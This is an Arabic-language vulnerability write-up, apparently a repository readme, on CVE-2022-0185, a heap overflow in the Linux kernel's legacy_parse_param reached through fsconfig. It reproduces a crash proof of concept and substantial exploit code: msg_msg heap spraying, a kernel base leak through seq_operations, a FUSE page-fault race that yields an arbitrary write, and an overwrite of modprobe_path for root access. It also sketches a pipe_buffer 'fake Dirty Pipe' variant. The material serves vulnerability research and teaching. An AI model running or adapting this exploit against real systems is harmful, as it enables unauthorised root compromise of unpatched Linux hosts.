تأثير رفع الامتيازات

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## مبدأ الثغرة

الاستدعاء النظامي الذي تحدث فيه الثغرة هو خيار العملية `FSCONFIG_SET_STRING` في `fsconfig`، ويُستخدم هذا الاستدعاء النظامي لتهيئة سياق نظام الملفات المفتوح مسبقًا، **يتطلب الشرط المسبق امتلاك صلاحية `CAP_SYS_ADMIN`**:

> الغرض الرئيسي من `fsopen` هو إنشاء سياق لنظام الملفات، ثم ربطه بوصف ملف وإرجاع واصف الملف. بعد `fsopen` يأتي `fsconfig`، ومن المعنى الحرفي يمكن التخمين أننا قمنا أعلاه بإنشاء سياق نظام ملفات عبر `fsopen`، وقد يكون `fsconfig` يُستخدم لتهيئة المحتويات داخل سياق نظام الملفات. في الواقع، يقوم `fsconfig` بشكل أساسي بهذه المهمة التهيئية، بالإضافة إلى سياق نظام الملفات، فهو يدعم أيضًا أعمالًا أخرى.

### موقع حدوث الثغرة

أولاً، تظهر الثغرة في دالة `legacy_parse_param`:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝，可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

### مسار الاستدعاء

فيما يلي تحليل مكدس استدعاء الدوال، أولاً، نقطة الدخول هي بالتأكيد استدعاء النظام `fsconfig`:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

أولاً، يتم استدعاء الدالة `finish_clean_context`، حيث يتم استدعاء الدالة `legacy_init_fs_context` لتسجيل جدول دوال الاستدعاء، والذي يتضمن الدالة `legacy_parse_param` التي يوجد بها الثغرة.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

النظرة العامة كالتالي

- SYSCALL_DEFINE5(fsconfig,... : مدخل استدعاء النظام
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : تسجيل جدول وظائف الاستدعاء
    - vfs_parse_fs_param
      - legacy_parse_param : الثغرة

## POC لاستغلال الثغرة

POC لاستغلال الثغرة:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

في محطة طرفية أخرى، استخدم gdb للتصحيح عن بُعد:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

··· ···
//后面代码将msg 添加到消息队列。    
··· ···

`do_msgsnd` الحد الأقصى لطول الرسالة المسموح به هو 8192:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

ثم نحتاج إلى تحليل دالة `load_msg` بشكل أساسي، نظرًا لاستخدام دالة `alloc_msg` في دالة `load_msg` لطلب مساحة الذاكرة وتنظيم بنية الرسالة. هنا نقوم أولاً بتحليل دالة `alloc_msg`:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

لذا فإن بنية الرسالة المشكلة تشبه:

الرسالة موجودة في قائمة انتظار الرسائل، وتدار بواسطة قائمة مرتبطة مزدوجة، والرسالة نفسها تُخزَّن بشكل مجزأ، وترتبط بواسطة قائمة مرتبطة أحادية. الحد الأقصى لطول كل جزء هو صفحة واحدة (4 كيلوبايت). بعد ذلك، نقوم بتحليل الدالة `do_msgsnd`:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝，这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

return bufsz;

في حالة وجود علامة `MSG_EXCEPT` في `msgflg` (التكوين الافتراضي، خيار الترجمة `CONFIG_CHECKPOINT_RESTORE`)، سيتم استخدام إرسال الرسائل الاحتياطية. المنطق المحدد هو: أولاً، يتم تقديم بنية رسالة كنسخة احتياطية للرسالة، وبعد العثور على الرسالة، يتم نسخها أولاً إلى النسخة الاحتياطية، ثم إرسالها إلى مساحة المستخدم، ثم تحرير النسخة الاحتياطية. **بهذه الطريقة، لن يتم فك ربط الرسالة الأصلية من قائمة الانتظار**، ما نريده هو "عدم فك ربط الرسالة الأصلية من قائمة الانتظار". لأنه في بعض الأحيان، عند حدوث تجاوز في المؤشر ثنائي الاتجاه لرأس الرسالة، سيؤدي فك الربط إلى تعطل البرنامج، وهذا ليس النتيجة المرغوبة.

هذا تقريبًا كل ما يلزم معرفته، وتتضمن تقنيات الاستغلال المستخدمة ما يلي:

- استخدام دالة `msgsnd` يمكنها تنفيذ عملية الرش ضمن نطاق `kmalloc-64` ~ `kmalloc-4k` (تقنية تقليدية)
- إذا تم تجاوز العضو `m_ts` في رأس `msg_msg`، فسيؤدي ذلك إلى تغيير طول الرسالة، مما يؤدي إلى قراءة خارج الحدود (تقنية جديدة)
- إذا تم تجاوز العضو `struct msg_msgseg *next` في رأس `msg_msg` **أثناء عملية load_msg**، فسيؤدي ذلك إلى إمكانية القراءة والكتابة في أي عنوان، وعادةً ما يتطلب ذلك استخدام سباق شرط باستخدام `userfaulted`، لكن أحدث النواة لا تسمح باستدعاء `userfaulted` من وضع المستخدم. هنا نستخدم طريقة جديدة.

#### بديل لـ userfaulted

وفقًا لدالة `load_msg` التي تم تحليلها أعلاه، بعد أن تقوم `alloc_msg` بتخصيص ذاكرة الرسالة، ستقوم بنسخ الرسالة من مساحة المستخدم. إذا كانت الرسالة طويلة ومجزأة، فستحتاج إلى النسخ على أجزاء. إذا حدث خطأ صفحة أثناء نسخ الجزء الأول، مما يعلق عملية النسخ في انتظار اكتمال معالجة الاستثناء، وفي هذه الأثناء يمكن استخدام التجاوز لاستبدال مؤشر `msg_msgseg *next` في `msg_msg`، وعند عودة معالجة الاستثناء واستكمال نسخ الجزء الثاني، سيصبح الكتابة فوق أي عنوان نحدده (كتابة في أي عنوان).

عادةً، يتطلب ذلك تسجيل دالة معالجة خطأ الصفحة في وضع المستخدم، لكن الإصدارات الجديدة لا تسمح باستدعاء نظام `userfaulted` بدون صلاحيات. هنا نقدم طريقة جديدة، وهي نظام الملفات `fuse` في وضع المستخدم. يمكن استخدام `fuse` لتسجيل نظام ملفات في وضع المستخدم، مع دوال `read`، `write` خاصة به، وعند حدوث خطأ صفحة، سيتم العودة إلى وضع المستخدم لمعالجة المقاطعة.

جدير بالذكر أن مكتبة `fuse` نفسها لا تحتوي على مكتبة ترجمة ثابتة. قام BitsByWill و D3v17 بتهيئتها، بإزالة بعض الأشياء مثل dlopen، وصنعوا فقط libfuse3.a يمكن ترجمتها بشكل ثابت. قل: شكرًا لك BitsByWill و D3v17.

[مرجع](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### تسريب العناوين

هذا أيضًا من العمليات المعتادة في kernel pwn، حيث يتم استخدام بنية `seq_operations` لتسريب العناوين، والتي تحتوي على دوال مؤشرات:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

قم بتهيئة جميع مؤشرات الدوال في هيكل `single_open` لتصبح دوال نواة، بحيث يتم تسريب أي منها يمكنه تسريب عنوان قاعدة النواة.

#### رفع الامتيازات

أسلوب تقليدي في kernel pwn هو `modprobe_path`، وهي سلسلة داخل النواة تشير إلى مسار، الافتراضي هو /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

if (!fork()) //子进程注册一个fuse 文件系统，用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

exp مقسم بشكل رئيسي إلى جزأين: تسريب المعلومات وكتابة عنوان عشوائي.

#### تسريب عنوان القاعدة للنواة

أعتقد أن جزء التسريب في هذا الاستغلال تم استخدامه بذكاء شديد، حيث يتم أولاً تجاوز السعة لتغطية الأجزاء غير المستخدمة، ثم يتم طلب بنية البيانات التي تحتاج إلى تجاوز السعة لتغطيتها بحيث لا يتم إتلاف الأجزاء غير المقصودة، ثم يستمر تجاوز السعة لتغطية الهدف بدقة.

بشكل أساسي دالة `do_leak`

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列，每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备，多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分，输入长度21,由于每次溢出会自动加上",="所以实际23，再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd，申请msg_msg 结构体，大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出，legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间，m_ts 位之前
     *刚好覆盖m_ts，修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat，喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息，某一个消息的长度被改大，则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息，会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页，在0x1338000，也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息，消息开头在第一个mmap 页的末尾，会触发page fault，等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程，线程执行溢出操作，在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回，完成任意地址写

return size;

1. في `0x1337000`، قم بعمل `mmap` لصفحة واحدة صفحة 1

2. اضبط طول الرسالة على `0x1010 - 0x30 = 0xfe0`، بحيث تحتاج الرسالة إلى التقسيم إلى جزئين

3. `fsconfig` يُعدِّل التعبئة قبل الفائض، ويطلب `kmalloc-4k`

4. باستخدام نظام الملفات fuse المسجل مسبقًا، قم بعمل `mmap` لصفحة واحدة عند `0x1338000` صفحة 2

5. أرسل الرسالة، طولها `0xfe0`، واطلب `kmalloc-4k` وواحد `kmalloc-32`. يبدأ موقع الرسالة في نهاية الصفحة 1. في هذا الوقت، عند نسخ `copy_from_user` داخل `msgsnd`** من مساحة المستخدم إلى مساحة النواة، عند الوصول إلى الصفحة 2، يتسبب في خطأ في الصفحة لاستدعاء دالة `evil_read` الخاصة بنظام الملفات fuse في مساحة المستخدم**، وهذه الدالة نحددها نحن لتقديم المحتوى الذي نريد كتابته إلى النواة. وتنتظر هذه الدالة حتى اكتمال العملية التالية قبل العودة.

6. عند هذه النقطة، ابدأ عملية جديدة، تقوم العملية الجديدة بعملية الفائض، حيث يتم الفائض إلى رأس الرسالة التالية `msg_msg` داخل المؤشر `msg_msgseg * next` الذي يشير إلى الجزء الثاني من الرسالة، ويتم استبدال المؤشر بالإشارة إلى `modprobe_path`. ثم أرسل إشارة اكتمال إلى دالة `evil_read`.

7. تعود `evil_read`، وتكتمل الكتابة في أي عنوان. يتم تغيير `modprobe_path` إلى `"/tmp/w"`

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

رسم بياني:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

بما أنه تم تعديل `modprobe_path`، فإننا نعتبر أن رفع الامتياز قد نجح، ويتم بعد ذلك إكمال عملية رفع الامتياز في الـexp عن طريق إضافة صلاحية suid إلى `/bin/bash`. لكن هذا لم يعد مهمًا.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [جديد] تحليل الـexp (نسخة ديرتي بايب المصطنعة متعددة الإصدارات)

من: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

الفكرة الرئيسية جاءت بعد كشف CVE-2022-0847 (ديرتي بايب)، حيث تم اكتشاف أن هناك آلية بين الأنبوب وsplice:

1. يتكون أنبوب الدفع من 16 صفحة مخبأة، في كل مرة يتم كتابة بيانات إلى الأنبوب يتم التحقق من الصفحة الحالية؛ إذا لم يتم كتابة الصفحة بالكامل، يتم محاولة الاستمرار في الكتابة في نفس الصفحة. لكن ليس كل الصفحات تسمح بالكتابة المستمرة، كما في الحالة التالية.
2. يسمح splice بنقل الملفات إلى أنبوب الدفع، ويتم ذلك عن طريق استبدال الصفحة المخبأة للملف مباشرة بصفحة مخبأة للأنبوب، وهذه الصفحات المخبأة المستبدلة لا تسمح بالكتابة المستمرة في الأنبوب.
3. بعد الإصدار 5.8، يتم استخدام `pipe_buffer->flags` لتحديد ما إذا كانت الصفحة تسمح بالكتابة المستمرة. قبل الإصدار 5.8، كان يتم استخدام `pipe_buffer->ops` لمعرفة ما إذا كان `anon_pipe_buf_ops` للسماح بالكتابة المستمرة.

إذن سبب ثغرة ديرتي بايب هو عدم تهيئة `pipe_buffer->flags`، مما يؤدي إلى إمكانية الكتابة المستمرة في الصفحات المخبأة للملف المنقولة بواسطة splice. على الرغم من إصلاحها، لكن إذا تمكنا من تزييف `flags` بشكل مصطنع، فهل يمكننا إنشاء "ديرتي بايب مصطنع"؟ الإجابة هي نعم؛ فديرتي بايب ثغرة لا تعتمد على أي تسريب عنوان، و`pipe_buffer` هو هيكل ضحية شائع في استغلال ثغرات النواة، وتزوير `flags` أو `ops` سهل جدًا. فيما يلي شرح لفكرة الـexp متعدد الإصدارات باستخدام ديرتي بايب المصطنع:

أولاً، قم بحقن عدة أزواج من قوائم الرسائل، كل زوج يحتوي على `msg_msg` بحجم `0x1400`، بحيث ينقسم الـmsg إلى جزئين: جزء بحجم `0x1000` وجزء بحجم `0x400`. ثم استخدم الكتابة خارج الحدود لتعديل بت `m_ts` في جزء الرسالة الرئيسي إلى `0x1800`:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

بهذه الطريقة، يمكن تحديد **msgid الذي يمكنه قراءة طول `0x1800` بنجاح** لمعرفة أي قائمة تم فيها تجاوز `msg_msg`، وأيضًا من خلال القراءة خارج الحدود لتأكيد أن ما يليه هو جزء آخر من رسالة (sec2). ثم قم بتحرير جميع قوائم الرسائل الأخرى باستثناء ذلك:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

ثم قم بحقن عدة أزواج من قوائم الرسائل، كل زوج يحتوي على 16 (أو عدة) `msg_msg` بحجم `0x400`. بهذه الطريقة، في الحالة المثالية، ستحتل إحدى الرسائل في أحد الأزواج slab `0x400` المحرر الموضح بالخط المنقط في الشكل السابق، مشكّلة التخطيط التالي، حيث تطلب الرسالة الخامسة من قائمة X هذه slab:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

ثم من خلال القراءة خارج الحدود لـmsg1، نحصل على قيمة `prev` لـmsg5، أي عنوان msg4. من خلال المحتوى الذي رتبناه في الـmsg، يمكننا تحديد رقم قائمة msq X ورقم الرسالة 5 في القائمة.

بعد ذلك، قم بتحرير msg6 وجميع الرسائل بعد msg6، ثم أضف رسالة جديدة في القائمة X، ستكون الرسالة الجديدة بعد msg5 أي msg6 الجديدة (newmsg6). داخل newmsg6 (في موقع لا ينتهي عنوانه بـ `0x00`)، رتب رأس msg مزيف (fake head) يشير إلى msg4، مشكّلاً التخطيط التالي:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

ثم قم بقراءة خارج الحدود مرة أخرى، وسجل عنوان fake head في newmsg6، وهو قيمة `msg5->next` المقروءة خارج الحدود بالإضافة إلى الإزاحة التي رتبناها:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

ثم كرر العملية مرة أخرى (اثنان اثنان ثلاثة ثلاثة أربعة مرة أخرى)، وأعد إجراء الكتابة خارج الحدود، هذه المرة قم بتغطية مؤشر next في رأس msg بالإشارة إلى fakeHead في newmsg6، وقد حصلنا على العنوان مسبقًا:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

قم بتحرير msg4 مباشرة عبر msgX، ثم قم بحقن sk_buff لاحتلال هذا الـmsg4 المحرر، وقم بتزوير next وprev للإشارة إلى نفسها (العنوان معروف مسبقًا)، لاستخدامها في عملية free الثانية لتجاوز unlink الخاصة بالـmsg:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

ثم استخدم قائمة newmsg1 لتحرير msg4 مرة أخرى، ثم قم باحتلاله مرة أخرى بـ pipe_buffer، بحيث تشغل sk_buff و pipe_buffer نفس المنطقة مشكّلة التخطيط التالي:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

العمليات التالية تشير مباشرة إلى النصف الثاني من "[معادلة النصر](https://blog.csdn.net/Breeze_CAT/article/details/124887764)"، الـexp: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## نصائح التصحيح

الرموز ذات الصلة:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

## المراجع

github：[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup：https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [تحليل واستغلال CVE-2022-0185 وأفكار وممارسات الأولية الجديدة لـ pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)